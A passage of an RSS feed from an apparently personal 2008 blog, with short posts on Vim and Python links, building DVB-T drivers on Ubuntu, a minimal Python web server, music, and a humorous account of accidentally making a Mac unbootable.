  9665.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9666.    <pubDate>Wed, 25 Jun 2008 21:40:00 +0200</pubDate>
  9667.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  9668.    <description><![CDATA[<pre>void main(){puts("Hello World.\n");}</pre>
  9669. ]]></description>
  9670.    <content:encoded><![CDATA[<pre>void main(){puts("Hello World.\n");}</pre>
  9671. ]]></content:encoded>
  9672.  </item>
  9673.  
  9674.  <item>
  9675.    <title>YYYYYEEEEESSSSSSSSSSSSSSSSSSS</title>
  9676.    <link>https://blog.x-way.org/Music/2008/05/09/YYYYYEEEEESSSSSSSSSSSSSSSSSSS.html</link>
  9677.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324134</guid>
  9678.    <dc:creator>Andreas Jaggi</dc:creator>
  9679.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9680.    <pubDate>Fri, 09 May 2008 17:52:00 +0200</pubDate>
  9681.    <category domain="https://blog.x-way.org/Music/">Music</category>
  9682.    <description><![CDATA[<p><b>Qu'en est-il de Noir Désir?</b></p>
  9683.  
  9684. <blockquote cite="https://web.archive.org/web/20080512124828/http://www.lagruyere.ch/fr/le-journal/laculture/articles-2008/culture-08-05-08.html"><p>
  9685.  
  9686. On s'est remis au boulot. On projette d'enregistrer un album durant l'hiver prochain&hellip; C'est court, mais on a besoin d'une échéance pour se structurer.</p>
  9687.  
  9688. </blockquote>
  9689.  
  9690. <p>(<a href="https://web.archive.org/web/20080512124828/http://www.lagruyere.ch/fr/le-journal/laculture/articles-2008/culture-08-05-08.html">via</a>)</p>
  9691. ]]></description>
  9692.    <content:encoded><![CDATA[<p><b>Qu'en est-il de Noir Désir?</b></p>
  9693.  
  9694. <blockquote cite="https://web.archive.org/web/20080512124828/http://www.lagruyere.ch/fr/le-journal/laculture/articles-2008/culture-08-05-08.html"><p>
  9695.  
  9696. On s'est remis au boulot. On projette d'enregistrer un album durant l'hiver prochain&hellip; C'est court, mais on a besoin d'une échéance pour se structurer.</p>
  9697.  
  9698. </blockquote>
  9699.  
  9700. <p>(<a href="https://web.archive.org/web/20080512124828/http://www.lagruyere.ch/fr/le-journal/laculture/articles-2008/culture-08-05-08.html">via</a>)</p>
  9701. ]]></content:encoded>
  9702.  </item>
  9703.  
  9704.  <item>
  9705.    <title>Vim links</title>
  9706.    <link>https://blog.x-way.org/Linux/2008/05/04/Vim-links.html</link>
  9707.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324133</guid>
  9708.    <dc:creator>Andreas Jaggi</dc:creator>
  9709.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9710.    <pubDate>Sun, 04 May 2008 08:23:00 +0200</pubDate>
  9711.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  9712.    <description><![CDATA[<ul>
  9713.  
  9714. <li><a href="https://web.archive.org/web/20080516033526/http://blog.objectmentor.com/articles/2008/04/30/vim-as-a-diff-merge-tool">VIM as a Diff/Merge Tool</a></li>
  9715.  
  9716. <li><a href="https://blog.x-way.org/stuff/10-easy-vim.pdf">10 Easy Steps to Becoming a Vim Expert</a></li>
  9717.  
  9718. <li><a href="https://web.archive.org/web/20080505051402/http://ifacethoughts.net/2008/05/02/vim-as-a-personal-wiki/">vim As A Personal Wiki</a></li>
  9719.  
  9720. </ul>
  9721. ]]></description>
  9722.    <content:encoded><![CDATA[<ul>
  9723.  
  9724. <li><a href="https://web.archive.org/web/20080516033526/http://blog.objectmentor.com/articles/2008/04/30/vim-as-a-diff-merge-tool">VIM as a Diff/Merge Tool</a></li>
  9725.  
  9726. <li><a href="https://blog.x-way.org/stuff/10-easy-vim.pdf">10 Easy Steps to Becoming a Vim Expert</a></li>
  9727.  
  9728. <li><a href="https://web.archive.org/web/20080505051402/http://ifacethoughts.net/2008/05/02/vim-as-a-personal-wiki/">vim As A Personal Wiki</a></li>
  9729.  
  9730. </ul>
  9731. ]]></content:encoded>
  9732.  </item>
  9733.  
  9734.  <item>
  9735.    <title>Sleep deprivation - Sat Rocks On The Second Floor</title>
  9736.    <link>https://blog.x-way.org/Misc/2008/05/02/Sleep-deprivation---Sat-Rocks-On-The-Second-Floor.html</link>
  9737.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324132</guid>
  9738.    <dc:creator>Andreas Jaggi</dc:creator>
  9739.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9740.    <pubDate>Fri, 02 May 2008 15:25:00 +0200</pubDate>
  9741.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  9742.    <description><![CDATA[<p>Right after two nights with 4 hours of sleep in total (<a href="https://satellite.bar/events/SP606/">Sat Rocks On The Second Floor!</a>), I stumble over this article: <a href="http://www.37signals.com/svn/posts/1006-sleep-deprivation-is-not-a-badge-of-honor">Sleep deprivation is not a badge of honor</a>. :-)</p>
  9743. ]]></description>
  9744.    <content:encoded><![CDATA[<p>Right after two nights with 4 hours of sleep in total (<a href="https://satellite.bar/events/SP606/">Sat Rocks On The Second Floor!</a>), I stumble over this article: <a href="http://www.37signals.com/svn/posts/1006-sleep-deprivation-is-not-a-badge-of-honor">Sleep deprivation is not a badge of honor</a>. :-)</p>
  9745. ]]></content:encoded>
  9746.  </item>
  9747.  
  9748.  <item>
  9749.    <title>Seems people don't read enough books</title>
  9750.    <link>https://blog.x-way.org/Coding/2008/04/30/Seems-people-dont-read-enough-books.html</link>
  9751.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324131</guid>
  9752.    <dc:creator>Andreas Jaggi</dc:creator>
  9753.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9754.    <pubDate>Wed, 30 Apr 2008 14:23:00 +0200</pubDate>
  9755.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  9756.    <description><![CDATA[<p><a href="https://web.archive.org/web/20080502145952/http://www.codinghorror.com/blog/archives/001108.html">Coding Horror: Programmers Don't Read Books -- But You Should</a></p>
  9757. ]]></description>
  9758.    <content:encoded><![CDATA[<p><a href="https://web.archive.org/web/20080502145952/http://www.codinghorror.com/blog/archives/001108.html">Coding Horror: Programmers Don't Read Books -- But You Should</a></p>
  9759. ]]></content:encoded>
  9760.  </item>
  9761.  
  9762.  <item>
  9763.    <title>Gigabyte U7000 USB DTV DVB-T and Ubuntu (8.04)</title>
  9764.    <link>https://blog.x-way.org/Linux/2008/04/28/Gigabyte-U7000-USB-DTV-DVB-T-and-Ubuntu-804.html</link>
  9765.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324130</guid>
  9766.    <dc:creator>Andreas Jaggi</dc:creator>
  9767.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9768.    <pubDate>Mon, 28 Apr 2008 20:45:00 +0200</pubDate>
  9769.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  9770.    <description><![CDATA[<ol>
  9771.  
  9772. <li><code>sudo apt-get install kaffeine dvb-utils mercurial linux-headers-$(uname -r) build-essential</code></li>
  9773.  
  9774. <li><code>hg clone http://linuxtv.org/hg/v4l-dvb</code></li>
  9775.  
  9776. <li><code>cd v4l-dvb</code></li>
  9777.  
  9778. <li><code>sudo make</code></li>
  9779.  
  9780. <li><code>sudo make install</code></li>
  9781.  
  9782. </ol>
  9783.  
  9784. <p>
  9785.  
  9786. If you're using another flavor of Linux or Ubuntu you may be missing the firmware file, you can get it <a href="http://files.waterwave.ch/dvb-usb-dib0700-1.10.fw">here</a>.
  9787.  
  9788. </p>
  9789.  
  9790. <img src="https://blog.x-way.org/images/dvb-t.png" height="288" width="512" alt="DVB-T screenshot">
  9791. ]]></description>
  9792.    <content:encoded><![CDATA[<ol>
  9793.  
  9794. <li><code>sudo apt-get install kaffeine dvb-utils mercurial linux-headers-$(uname -r) build-essential</code></li>
  9795.  
  9796. <li><code>hg clone http://linuxtv.org/hg/v4l-dvb</code></li>
  9797.  
  9798. <li><code>cd v4l-dvb</code></li>
  9799.  
  9800. <li><code>sudo make</code></li>
  9801.  
  9802. <li><code>sudo make install</code></li>
  9803.  
  9804. </ol>
  9805.  
  9806. <p>
  9807.  
  9808. If you're using another flavor of Linux or Ubuntu you may be missing the firmware file, you can get it <a href="http://files.waterwave.ch/dvb-usb-dib0700-1.10.fw">here</a>.
  9809.  
  9810. </p>
  9811.  
  9812. <img src="https://blog.x-way.org/images/dvb-t.png" height="288" width="512" alt="DVB-T screenshot">
  9813. ]]></content:encoded>
  9814.  </item>
  9815.  
  9816.  <item>
  9817.    <title>Musikverwaltung unter Linux</title>
  9818.    <link>https://blog.x-way.org/Linux/2008/04/28/Musikverwaltung-unter-Linux.html</link>
  9819.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324129</guid>
  9820.    <dc:creator>Andreas Jaggi</dc:creator>
  9821.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9822.    <pubDate>Mon, 28 Apr 2008 11:01:00 +0200</pubDate>
  9823.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  9824.    <description><![CDATA[<a href="http://www.pro-linux.de/berichte/musikverwaltung.html">Pro-Linux: Musikverwaltung unter Linux, ein Vergleich verschiedener Programme</a>
  9825. ]]></description>
  9826.    <content:encoded><![CDATA[<a href="http://www.pro-linux.de/berichte/musikverwaltung.html">Pro-Linux: Musikverwaltung unter Linux, ein Vergleich verschiedener Programme</a>
  9827. ]]></content:encoded>
  9828.  </item>
  9829.  
  9830.  <item>
  9831.    <title>Python (S60) links</title>
  9832.    <link>https://blog.x-way.org/Coding/2008/04/23/Python-S60-links.html</link>
  9833.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324128</guid>
  9834.    <dc:creator>Andreas Jaggi</dc:creator>
  9835.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9836.    <pubDate>Wed, 23 Apr 2008 00:12:00 +0200</pubDate>
  9837.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  9838.    <description><![CDATA[<ul>
  9839.  
  9840. <li><a href="http://www.ibm.com/developerworks/aix/library/au-pythocli/?ca=dgr-lnxw06pythonunixtool&amp;S_TACT=105AGX59&amp;S_CMP=GR">Using Python to create UNIX command line tools</a></li>
  9841.  
  9842. <li><a href="http://sourceforge.net/projects/pys60-compat/">PyS60 Emulation Library</a>, unlike the Nokia Emulator, this one also works on Mac OS X and Linux!</li>
  9843.  
  9844. <li><a href="http://chris.berger.cx/PyS60/PyS60">Wlan Scanning module for PyS60</a>. There is also an extended GSM location module to get more information (Technology used, Name of Operator, Network Mode, &hellip;) than with the Nokia one.</li>
  9845.  
  9846. </ul>
  9847. ]]></description>
  9848.    <content:encoded><![CDATA[<ul>
  9849.  
  9850. <li><a href="http://www.ibm.com/developerworks/aix/library/au-pythocli/?ca=dgr-lnxw06pythonunixtool&amp;S_TACT=105AGX59&amp;S_CMP=GR">Using Python to create UNIX command line tools</a></li>
  9851.  
  9852. <li><a href="http://sourceforge.net/projects/pys60-compat/">PyS60 Emulation Library</a>, unlike the Nokia Emulator, this one also works on Mac OS X and Linux!</li>
  9853.  
  9854. <li><a href="http://chris.berger.cx/PyS60/PyS60">Wlan Scanning module for PyS60</a>. There is also an extended GSM location module to get more information (Technology used, Name of Operator, Network Mode, &hellip;) than with the Nokia one.</li>
  9855.  
  9856. </ul>
  9857. ]]></content:encoded>
  9858.  </item>
  9859.  
  9860.  <item>
  9861.    <title>ImageFlow</title>
  9862.    <link>https://blog.x-way.org/Webdesign/2008/04/21/ImageFlow.html</link>
  9863.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324127</guid>
  9864.    <dc:creator>Andreas Jaggi</dc:creator>
  9865.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9866.    <pubDate>Mon, 21 Apr 2008 21:31:00 +0200</pubDate>
  9867.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  9868.    <description><![CDATA[<p><a href="https://web.archive.org/web/20080430214454/http://194.95.111.244/~countzero/scripts/_myImageFlow/">ImageFlow</a>, CoverFlow mit JavaScript. (<a href="https://kniebes.com/2008/04/21/imageflow">via</a>)</p>
  9869. ]]></description>
  9870.    <content:encoded><![CDATA[<p><a href="https://web.archive.org/web/20080430214454/http://194.95.111.244/~countzero/scripts/_myImageFlow/">ImageFlow</a>, CoverFlow mit JavaScript. (<a href="https://kniebes.com/2008/04/21/imageflow">via</a>)</p>
  9871. ]]></content:encoded>
  9872.  </item>
  9873.  
  9874.  <item>
  9875.    <title>Mibbit.com - Web-IRC-Client</title>
  9876.    <link>https://blog.x-way.org/Networking/2008/04/21/Mibbit-com-Web-IRC-Client.html</link>
  9877.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324126</guid>
  9878.    <dc:creator>Andreas Jaggi</dc:creator>
  9879.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9880.    <pubDate>Mon, 21 Apr 2008 21:21:00 +0200</pubDate>
  9881.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  9882.    <description><![CDATA[<p><a href="http://www.mibbit.com/">Mibbit.com</a> provides an IRC webinterface, so you can hang around in your favorite channels with your iPhone/PDA/fridge/whatever.</p>
  9883. ]]></description>
  9884.    <content:encoded><![CDATA[<p><a href="http://www.mibbit.com/">Mibbit.com</a> provides an IRC webinterface, so you can hang around in your favorite channels with your iPhone/PDA/fridge/whatever.</p>
  9885. ]]></content:encoded>
  9886.  </item>
  9887.  
  9888.  <item>
  9889.    <title>Ten Thousand Cents</title>
  9890.    <link>https://blog.x-way.org/Misc/2008/04/15/Ten-Thousand-Cents.html</link>
  9891.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324125</guid>
  9892.    <dc:creator>Andreas Jaggi</dc:creator>
  9893.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9894.    <pubDate>Tue, 15 Apr 2008 21:18:00 +0200</pubDate>
  9895.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  9896.    <description><![CDATA[<a href="http://www.tenthousandcents.com/">http://www.tenthousandcents.com/</a>
  9897. ]]></description>
  9898.    <content:encoded><![CDATA[<a href="http://www.tenthousandcents.com/">http://www.tenthousandcents.com/</a>
  9899. ]]></content:encoded>
  9900.  </item>
  9901.  
  9902.  <item>
  9903.    <title>Using the X11 clipboard on the commandline</title>
  9904.    <link>https://blog.x-way.org/Linux/2008/03/25/Using-the-X11-clipboard-on-the-commandline.html</link>
  9905.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324124</guid>
  9906.    <dc:creator>Andreas Jaggi</dc:creator>
  9907.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9908.    <pubDate>Tue, 25 Mar 2008 14:27:00 +0100</pubDate>
  9909.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  9910.    <description><![CDATA[<p><a href="http://www.vergenet.net/~conrad/software/xsel/">XSel</a> gives easy commandline access to the X11 clipboard (primary &amp; secondary).</p>
  9911. ]]></description>
  9912.    <content:encoded><![CDATA[<p><a href="http://www.vergenet.net/~conrad/software/xsel/">XSel</a> gives easy commandline access to the X11 clipboard (primary &amp; secondary).</p>
  9913. ]]></content:encoded>
  9914.  </item>
  9915.  
  9916.  <item>
  9917.    <title>Unix Toolbox</title>
  9918.    <link>https://blog.x-way.org/Linux/2008/03/23/Unix-Toolbox.html</link>
  9919.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324123</guid>
  9920.    <dc:creator>Andreas Jaggi</dc:creator>
  9921.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9922.    <pubDate>Sun, 23 Mar 2008 16:36:00 +0100</pubDate>
  9923.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  9924.    <description><![CDATA[<p><a href="https://web.archive.org/web/20080326184716/http://cb.vu/unixtoolbox.xhtml">Unix Toolbox</a>, a nice collection of Unix/Linux/BSD commands, may be useful for advanced users.</p>
  9925. ]]></description>
  9926.    <content:encoded><![CDATA[<p><a href="https://web.archive.org/web/20080326184716/http://cb.vu/unixtoolbox.xhtml">Unix Toolbox</a>, a nice collection of Unix/Linux/BSD commands, may be useful for advanced users.</p>
  9927. ]]></content:encoded>
  9928.  </item>
  9929.  
  9930.  <item>
  9931.    <title>CHALLENGE</title>
  9932.    <link>https://blog.x-way.org/Misc/2008/03/05/CHALLENGE-08.html</link>
  9933.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324122</guid>
  9934.    <dc:creator>Andreas Jaggi</dc:creator>
  9935.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9936.    <pubDate>Wed, 05 Mar 2008 00:00:00 +0100</pubDate>
  9937.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  9938.    <description><![CDATA[<p><a href="https://web.archive.org/web/20080223085456/http://www.challenge08.ch/" style="text-decoration: blink;"><b>CHALLENGE</b></a></p>
  9939. <p>Don't ask.</p>
  9940. ]]></description>
  9941.    <content:encoded><![CDATA[<p><a href="https://web.archive.org/web/20080223085456/http://www.challenge08.ch/" style="text-decoration: blink;"><b>CHALLENGE</b></a></p>
  9942. <p>Don't ask.</p>
  9943. ]]></content:encoded>
  9944.  </item>
  9945.  
  9946.  <item>
  9947.    <title>Too much time for party</title>
  9948.    <link>https://blog.x-way.org/Misc/2008/02/21/Too-much-time-for-party.html</link>
  9949.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324121</guid>
  9950.    <dc:creator>Andreas Jaggi</dc:creator>
  9951.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9952.    <pubDate>Thu, 21 Feb 2008 13:40:00 +0100</pubDate>
  9953.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  9954.    <description><![CDATA[<p>
  9955.  
  9956. <img src="https://blog.x-way.org/images/horaire.png" width="467" height="272" alt="Horaire 2008">
  9957.  
  9958. </p>
  9959. ]]></description>
  9960.    <content:encoded><![CDATA[<p>
  9961.  
  9962. <img src="https://blog.x-way.org/images/horaire.png" width="467" height="272" alt="Horaire 2008">
  9963.  
  9964. </p>
  9965. ]]></content:encoded>
  9966.  </item>
  9967.  
  9968.  <item>
  9969.    <title>Some Links II</title>
  9970.    <link>https://blog.x-way.org/Coding/2008/02/15/Some-Links-2-15-8.html</link>
  9971.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324119</guid>
  9972.    <dc:creator>Andreas Jaggi</dc:creator>
  9973.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9974.    <pubDate>Fri, 15 Feb 2008 08:53:00 +0100</pubDate>
  9975.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  9976.    <description><![CDATA[<ul>
  9977.  
  9978. <li><a href="http://www.artima.com/weblogs/viewpost.jsp?thread=4829">Python main() functions</a></li>
  9979.  
  9980. <li><a href="https://web.archive.org/web/20080218202608/http://rghosh.free.fr/essays/quescol.html">Javascript without IFs, WHILEs, or FORs</a></li>
  9981.  
  9982. <li><a href="https://web.archive.org/web/20080219092150/http://cm.bell-labs.com/cm/cs/tpop/grep.c">grep in 98 lines of code</a></li>
  9983.  
  9984. </ul>
  9985. ]]></description>
  9986.    <content:encoded><![CDATA[<ul>
  9987.  
  9988. <li><a href="http://www.artima.com/weblogs/viewpost.jsp?thread=4829">Python main() functions</a></li>
  9989.  
  9990. <li><a href="https://web.archive.org/web/20080218202608/http://rghosh.free.fr/essays/quescol.html">Javascript without IFs, WHILEs, or FORs</a></li>
  9991.  
  9992. <li><a href="https://web.archive.org/web/20080219092150/http://cm.bell-labs.com/cm/cs/tpop/grep.c">grep in 98 lines of code</a></li>
  9993.  
  9994. </ul>
  9995. ]]></content:encoded>
  9996.  </item>
  9997.  
  9998.  <item>
  9999.    <title>Python Webserver in 1 or 15 lines</title>
  10000.    <link>https://blog.x-way.org/Coding/2008/02/14/Python-Webserver-in-1-or-15-lines.html</link>
  10001.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324120</guid>
  10002.    <dc:creator>Andreas Jaggi</dc:creator>
  10003.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10004.    <pubDate>Thu, 14 Feb 2008 21:10:00 +0100</pubDate>
  10005.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  10006.    <description><![CDATA[<p>Python Webserver in 1 line:</p>
  10007.  
  10008. <pre>python -c "import SimpleHTTPServer; SimpleHTTPServer.test()"</pre>
  10009.  
  10010. <p>Python Webserver in 15 lines:</p>
  10011.  
  10012. <pre>import BaseHTTPServer
  10013.  
  10014.  
  10015.  
  10016. class WebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  10017.  
  10018.    def do_GET(self):
  10019.  
  10020.        if self.path == '/foo':
  10021.  
  10022.            self.send_response(200)
  10023.  
  10024.            self.do_something()
  10025.  
  10026.        else:
  10027.  
  10028.            self.send_error(404)
  10029.  
  10030.            
  10031.  
  10032.    def do_something(self):
  10033.  
  10034.        print 'hello world'
  10035.  
  10036.        
  10037.  
  10038. server = BaseHTTPServer.HTTPServer(('',80), WebRequestHandler)
  10039.  
  10040. server.serve_forever()</pre>
  10041.  
  10042. <p><a href="https://web.archive.org/web/20080215210902/http://www.goldb.org/goldblog/2008/02/12/Python15LineHTTPServerWebInterfaceForYourTools.aspx">via</a></p>
  10043. ]]></description>
  10044.    <content:encoded><![CDATA[<p>Python Webserver in 1 line:</p>
  10045.  
  10046. <pre>python -c "import SimpleHTTPServer; SimpleHTTPServer.test()"</pre>
  10047.  
  10048. <p>Python Webserver in 15 lines:</p>
  10049.  
  10050. <pre>import BaseHTTPServer
  10051.  
  10052.  
  10053.  
  10054. class WebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  10055.  
  10056.    def do_GET(self):
  10057.  
  10058.        if self.path == '/foo':
  10059.  
  10060.            self.send_response(200)
  10061.  
  10062.            self.do_something()
  10063.  
  10064.        else:
  10065.  
  10066.            self.send_error(404)
  10067.  
  10068.            
  10069.  
  10070.    def do_something(self):
  10071.  
  10072.        print 'hello world'
  10073.  
  10074.        
  10075.  
  10076. server = BaseHTTPServer.HTTPServer(('',80), WebRequestHandler)
  10077.  
  10078. server.serve_forever()</pre>
  10079.  
  10080. <p><a href="https://web.archive.org/web/20080215210902/http://www.goldb.org/goldblog/2008/02/12/Python15LineHTTPServerWebInterfaceForYourTools.aspx">via</a></p>
  10081. ]]></content:encoded>
  10082.  </item>
  10083.  
  10084.  <item>
  10085.    <title>Some Links</title>
  10086.    <link>https://blog.x-way.org/Coding/2008/02/11/Some-Links-2-13-8.html</link>
  10087.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324118</guid>
  10088.    <dc:creator>Andreas Jaggi</dc:creator>
  10089.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10090.    <pubDate>Mon, 11 Feb 2008 10:00:00 +0100</pubDate>
  10091.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  10092.    <description><![CDATA[<ul>
  10093.  
  10094. <li><a href="http://regexpal.com/">RegexPal, a JavaScript regular expression tester</a></li>
  10095.  
  10096. <li><a href="https://web.archive.org/web/20080516202129/http://www.dustindiaz.com/namespace-your-javascript/">Namespacing your JavaScript</a></li>
  10097.  
  10098. <li><a href="https://web.archive.org/web/20090327122649/http://blog.256bit.org/archives/455-In-Vim-Marks-visualisieren.html">In Vim Marks visualisieren</a></li>
  10099.  
  10100. </ul>
  10101. ]]></description>
  10102.    <content:encoded><![CDATA[<ul>
  10103.  
  10104. <li><a href="http://regexpal.com/">RegexPal, a JavaScript regular expression tester</a></li>
  10105.  
  10106. <li><a href="https://web.archive.org/web/20080516202129/http://www.dustindiaz.com/namespace-your-javascript/">Namespacing your JavaScript</a></li>
  10107.  
  10108. <li><a href="https://web.archive.org/web/20090327122649/http://blog.256bit.org/archives/455-In-Vim-Marks-visualisieren.html">In Vim Marks visualisieren</a></li>
  10109.  
  10110. </ul>
  10111. ]]></content:encoded>
  10112.  </item>
  10113.  
  10114.  <item>
  10115.    <title>Biking to work was much more fun in California</title>
  10116.    <link>https://blog.x-way.org/Misc/2008/02/04/Biking-to-work-was-much-more-fun-in-California.html</link>
  10117.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324117</guid>
  10118.    <dc:creator>Andreas Jaggi</dc:creator>
  10119.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10120.    <pubDate>Mon, 04 Feb 2008 20:30:00 +0100</pubDate>
  10121.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  10122.    <description><![CDATA[<img src="https://blog.x-way.org/images/coldweather.png" width="349" height="416" alt="Cold weather">
  10123. ]]></description>
  10124.    <content:encoded><![CDATA[<img src="https://blog.x-way.org/images/coldweather.png" width="349" height="416" alt="Cold weather">
  10125. ]]></content:encoded>
  10126.  </item>
  10127.  
  10128.  <item>
  10129.    <title>Pancake Man</title>
  10130.    <link>https://blog.x-way.org/Misc/2008/02/04/Pancake-Man.html</link>
  10131.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324116</guid>
  10132.    <dc:creator>Andreas Jaggi</dc:creator>
  10133.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10134.    <pubDate>Mon, 04 Feb 2008 20:14:00 +0100</pubDate>
  10135.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  10136.    <description><![CDATA[<p><a href="https://youtu.be/UG5gO4nlLRQ" title="Pancake Man - YouTube">Pancake Man</a></p>
  10137. ]]></description>
  10138.    <content:encoded><![CDATA[<p><a href="https://youtu.be/UG5gO4nlLRQ" title="Pancake Man - YouTube">Pancake Man</a></p>
  10139. ]]></content:encoded>
  10140.  </item>
  10141.  
  10142.  <item>
  10143.    <title>UNIX tips</title>
  10144.    <link>https://blog.x-way.org/Linux/2008/01/24/UNIX-tips.html</link>
  10145.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324115</guid>
  10146.    <dc:creator>Andreas Jaggi</dc:creator>
  10147.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10148.    <pubDate>Thu, 24 Jan 2008 22:29:00 +0100</pubDate>
  10149.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  10150.    <description><![CDATA[<ul>
  10151.  
  10152. <li><a href="http://www.ibm.com/developerworks/aix/library/au-badunixhabits.html">Learn 10 good UNIX usage habits</a></li>
  10153.  
  10154. <li><a href="http://www.ibm.com/developerworks/aix/library/au-productivitytips.html">Productivity tips</a></li>
  10155.  
  10156. <li><a href="http://www.ibm.com/developerworks/aix/library/au-rundown.html">Become a better blogger with UNIX</a></li>
  10157.  
  10158. </ul>
  10159. ]]></description>
  10160.    <content:encoded><![CDATA[<ul>
  10161.  
  10162. <li><a href="http://www.ibm.com/developerworks/aix/library/au-badunixhabits.html">Learn 10 good UNIX usage habits</a></li>
  10163.  
  10164. <li><a href="http://www.ibm.com/developerworks/aix/library/au-productivitytips.html">Productivity tips</a></li>
  10165.  
  10166. <li><a href="http://www.ibm.com/developerworks/aix/library/au-rundown.html">Become a better blogger with UNIX</a></li>
  10167.  
  10168. </ul>
  10169. ]]></content:encoded>
  10170.  </item>
  10171.  
  10172.  <item>
  10173.    <title>How to brick your Mac</title>
  10174.    <link>https://blog.x-way.org/Mac/2008/01/19/How-to-brick-your-Mac.html</link>
  10175.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324112</guid>
  10176.    <dc:creator>Andreas Jaggi</dc:creator>
  10177.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10178.    <pubDate>Sat, 19 Jan 2008 00:32:00 +0100</pubDate>
  10179.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  10180.    <description><![CDATA[<ol>
  10181.  
  10182. <li>Install Mac OS X 10.4</li>
  10183.  
  10184. <li>Install <a href="http://refit.sourceforge.net/">rEFIt</a></li>
  10185.  
  10186. <li>Install Linux</li>
  10187.  
  10188. <li>After some time decide to upgrade to Mac OS X 10.5 and at the same time make the partition bigger (e.g. by merging with a FAT32 partition which was originally intended to contain some Windows)</li>
  10189.  
  10190. <li>Use the <a href="http://www.gnu.org/software/parted/">GNU Parted</a> utility to delete the Mac OS X and FAT 32  partitions and create a new bigger partition for Mac OS X 10.5.</li>
  10191.  
  10192. <li>Restart your Mac.</li>
  10193.  
  10194. <li>Cheer that now you can no longer boot from the harddisk or a CD/DVD nor from anything else!</li>
  10195.  
  10196. </ol>
  10197.  
  10198. <p>And now, how to un-brick it again:</p>
  10199.  
  10200. <ol>
  10201.  
  10202. <li>Call Apple support</li>
  10203.  
  10204. <li>Find out that you are lucky and have some warranty left (6 days in my case!!!).</li>
  10205.  
  10206. <li>Bring your Mac to an Authorized Service Provider.</li>
  10207.  
  10208. <li>Get it back with a new harddisk :-)</li>
  10209.  
  10210. </ol>
  10211. ]]></description>
  10212.    <content:encoded><![CDATA[<ol>
  10213.  
  10214. <li>Install Mac OS X 10.4</li>
  10215.  
